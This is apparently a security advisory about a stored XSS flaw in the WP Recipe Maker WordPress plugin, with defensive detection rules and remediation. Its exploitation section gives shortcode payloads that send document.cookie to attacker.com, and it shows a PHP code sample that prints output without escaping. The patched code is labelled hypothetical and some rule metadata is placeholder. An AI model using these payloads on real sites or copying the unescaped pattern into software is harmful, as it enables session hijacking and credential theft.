CVE-2024-3490

Executive Summary

CVE-2024-3490 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.3.1. The flaw resides in the wprm-recipe-roundup-item shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score (0.0%) indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The WP Recipe Maker plugin is widely used for creating and displaying recipes. The shortcode wprm-recipe-roundup-item is intended to display recipe roundup items, but insufficient input validation allows stored XSS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress shortcode wprm-recipe-roundup-item. Shortcodes in WordPress allow users to embed dynamic content via attributes. In this case, the plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the HTML output.

Root Cause: The plugin uses add_shortcode('wprm-recipe-roundup-item', ...) and processes attributes like title, url, image, etc. Without proper escaping (e.g., esc_attr() or wp_kses()), an attacker can inject JavaScript payloads into these attributes.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The attacker inserts the shortcode: [wprm-recipe-roundup-item title="<script>alert('XSS')</script>"].
3. The plugin renders the shortcode without escaping the title attribute.
4. When any user (including admins) views the page, the script executes in their browser.

Why Stored XSS is Dangerous: Unlike reflected XSS, the payload is stored in the database and executed every time the page is loaded, affecting all visitors.

Vulnerable vs. Patched Code

Vulnerable Code (<= 9.3.1):

// In wp-recipe-maker/includes/shortcodes/class-wprm-recipe-roundup-item.php
public function render( $atts, $content = '' ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'url' => '',
        'image' => '',
    ), $atts );

    $output = '<div class="wprm-recipe-roundup-item">';
    $output .= '<h3>' . $atts['title'] . '</h3>'; // No escaping
    $output .= '<a href="' . $atts['url'] . '">Link</a>'; // No escaping
    $output .= '</div>';

    return $output;
}

Patched Code (Hypothetical):

public function render( $atts, $content = '' ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'url' => '',
        'image' => '',
    ), $atts );

    $output = '<div class="wprm-recipe-roundup-item">';
    $output .= '<h3>' . esc_html( $atts['title'] ) . '</h3>'; // Escaped
    $output .= '<a href="' . esc_url( $atts['url'] ) . '">Link</a>'; // Escaped
    $output .= '</div>';

    return $output;
}

The fix involves using esc_html() for text attributes and esc_url() for URL attributes to prevent script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Recipe Maker plugin <= 9.3.1
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [wprm-recipe-roundup-item title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or save the post.
5. When an admin or visitor views the post, the script executes, sending cookies to the attacker's server.

Alternative Payload (Steal Admin Credentials):

[wprm-recipe-roundup-item title="<script>new Image().src='https://attacker.com/steal?data='+document.cookie</script>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for shortcode usage containing suspicious HTML/JavaScript in post content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in shortcode attributes.
• Review user activity logs for posts containing wprm-recipe-roundup-item with unusual attributes.

Hardening:

• Update the plugin to a patched version (once available).
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-recipe-maker/includes/shortcodes/class-wprm-recipe-roundup-item.php (vulnerable file)
• Database: Posts/pages containing the shortcode [wprm-recipe-roundup-item with suspicious attributes (e.g., <script>, onerror=, javascript:)
• Network: Outbound connections to attacker-controlled domains from the WordPress server (e.g., attacker.com/steal)
• Logs: WordPress debug logs showing PHP warnings related to shortcode rendering

Detection Engineering

YARA Rule

rule CVE_2024_3490_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects vulnerable WP Recipe Maker shortcode usage with XSS payloads"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3490"
    strings:
        $shortcode = /\[wprm-recipe-roundup-item[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>|onerror=|onload=|javascript:/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-3490 WP Recipe Maker Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via WP Recipe Maker shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wprm-recipe-roundup-item'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3490 WP Recipe Maker Stored XSS Attempt"; flow:to_server,established; content:"wprm-recipe-roundup-item"; http_uri; pcre:"/<script[^>]*>|onerror=|onload=|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the site is at risk.
2. Restrict contributor roles to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS in shortcode attributes.

Long-term Fix:

• Apply the official patch from the vendor once released (check https://wordpress.org/plugins/wp-recipe-maker/).
• If patching is not possible, manually edit the vulnerable file to add escaping (as shown in the patched code section).

Monitoring:

• Regularly scan for posts containing the vulnerable shortcode.
• Monitor WordPress logs for unusual shortcode usage.

Valters IT